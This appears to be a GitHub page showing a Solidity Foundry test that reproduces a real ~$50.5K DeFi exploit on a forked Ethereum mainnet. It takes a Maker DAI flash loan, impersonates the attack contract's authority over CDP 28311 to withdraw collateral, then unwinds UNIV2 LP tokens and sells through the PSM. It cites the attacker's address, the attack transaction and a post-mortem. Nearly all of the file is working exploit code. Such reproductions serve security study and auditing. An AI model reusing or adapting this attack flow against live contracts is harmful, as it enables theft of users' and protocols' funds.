-
Notifications
You must be signed in to change notification settings - Fork 1.2k
/
Circle_exp1.sol
149 lines (122 loc) · 5.67 KB
/
Circle_exp1.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.15;
import "../basetest.sol";
// @KeyInfo - Total Lost : ~$50.5K
// Attacker : https://etherscan.io/address/0xdfdea277f6b44270bcb804997d1e6cc4ad8407db
// Attack Contract : https://etherscan.io/address/0xfd51531b26f9be08240f7459eea5be80d5b047d9
// Vulnerable Contract : https://etherscan.io/address/0xae461ca67b15dc8dc81ce7615e0320da1a9ab8d5
// Attack Tx : https://etherscan.io/tx/0xa4e650772f6e6b7ecc0964fe4c3854850669d1467570a2fa2b6edfa0f112c4b7
// @Info
// Vulnerable Contract Code : https://etherscan.io/address/0xae461ca67b15dc8dc81ce7615e0320da1a9ab8d5#code
// @Analysis
// Post-mortem : https://app.blocksec.com/explorer/tx/eth/0xa4e650772f6e6b7ecc0964fe4c3854850669d1467570a2fa2b6edfa0f112c4b7
// Twitter Guy :
// Hacking God :
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import "./../interface.sol";
interface IMakerPool {
function flashLoan(address receiver, address token, uint256 amount, bytes calldata data) external returns (bool);
}
struct Urn {
uint256 ink; // Locked Collateral [wad]
uint256 art; // Normalised Debt [wad]
}
struct Ilk {
uint256 Art; // Total Normalised Debt [wad]
uint256 rate; // Accumulated Rates [ray]
uint256 spot; // Price with Safety Margin [ray]
uint256 line; // Debt Ceiling [rad]
uint256 dust; // Urn Debt Floor [rad]
}
interface IMakerVat {
function urns(bytes32, address) external view returns (Urn memory);
function hope(
address
) external;
function heal(
uint256
) external;
function ilks(
bytes32
) external view returns (Ilk memory);
}
interface IMakerManager {
function urns(
uint256
) external view returns (address);
function join(address, uint256) external;
function flux(uint256, address, uint256) external;
function frob(uint256, int256, int256) external;
function open(bytes32, address) external returns (uint256);
function cdpAllow(uint256, address, uint256) external;
}
interface IUniv2 {
function exit(address, uint256) external;
}
interface IUniv2Token {
function burn(
address
) external returns (uint256, uint256);
}
interface Mcd {
function sellGem(address, uint256) external;
}
contract Circle is BaseTestWithBalanceLog {
address private constant maker = 0x1EB4CF3A948E7D72A198fe073cCb8C7a948cD853;
address private constant susd = 0x57Ab1ec28D129707052df4dF418D58a2D46d5f51;
address private constant dai = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
address private constant usdt = 0xdAC17F958D2ee523a2206206994597C13D831ec7;
address maker_cdp_manager = 0x5ef30b9986345249bc32d8928B7ee64DE9435E39;
address maker_mcd_join_dai = 0x9759A6Ac90977b93B58547b4A71c78317f391A28;
address make_mcd_vat = 0x35D1b3F3D7966A1DFe207aa4514C12a259A0492B;
address univ2 = 0xA81598667AC561986b70ae11bBE2dd5348ed4327;
address univ2_token = 0xAE461cA67B15dc8dc81CE7615e0320dA1A9aB8D5;
address mcd = 0x89B78CfA322F6C5dE0aBcEecab66Aee45393cC5A;
address circle = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
address allower = 0x0A59649758aa4d66E25f08Dd01271e891fe52199;
CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
function setUp() public {
cheats.createSelectFork("mainnet", 15_331_020 - 1);
}
function testExploit() public {
emit log_named_decimal_uint(
"[Begin] Attacker Circle before exploit", IERC20(circle).balanceOf(address(this)), 6
);
uint256 amount = 2_437_926_935_218_598_618_037_988;
bytes memory data =
"0x0000000000000000000000000000000000000000000000000000000000006e970000000000000000000000000000000000000000000000000000000000000000";
IMakerPool(maker).flashLoan(address(this), dai, amount, data);
emit log_named_decimal_uint("[End] Attacker Circle after exploit", IERC20(circle).balanceOf(address(this)), 6);
}
function onFlashLoan(
address initiator,
address token,
uint256 amount,
uint256 fee,
bytes calldata data
) external returns (bytes32) {
address urns_address = IMakerManager(maker_cdp_manager).urns(28_311);
Urn memory urn = IMakerVat(make_mcd_vat).urns(
0x554e495632444149555344432d41000000000000000000000000000000000000, urns_address
);
Ilk memory ilk =
IMakerVat(make_mcd_vat).ilks(0x554e495632444149555344432d41000000000000000000000000000000000000);
uint256 amount_dai = IERC20(dai).balanceOf(address(this));
IERC20(dai).approve(maker_mcd_join_dai, amount_dai);
IMakerManager(maker_mcd_join_dai).join(urns_address, amount_dai);
cheats.prank(0xfd51531b26f9Be08240f7459Eea5BE80D5B047D9); // borrow the authority of cdp 28311 (assigned before)
// dink = 0-urn.ink/4 = -1104761777152681125
// dart = 0-urn.art/4 = -2419153952397280665329975
IMakerManager(maker_cdp_manager).frob(28_311, -1_104_761_777_152_681_125, -2_419_153_952_397_280_665_329_975);
cheats.prank(0xfd51531b26f9Be08240f7459Eea5BE80D5B047D9);
IMakerManager(maker_cdp_manager).flux(28_311, address(this), 1_104_761_777_152_681_125);
IUniv2(univ2).exit(address(this), 1_104_761_777_152_681_125);
IERC20(univ2_token).transfer(univ2_token, 1_104_761_777_152_681_125);
(uint256 amount0, uint256 amount1) = IUniv2Token(univ2_token).burn(address(this));
IERC20(circle).approve(allower, type(uint256).max);
Mcd(mcd).sellGem(address(this), 1_193_139_061_611);
IERC20(dai).approve(maker, type(uint256).max);
return 0x439148f0bbc682ca079e46d6e2c2f0c1e3b820f1a291b069d8882abf8cf18dd9;
}
}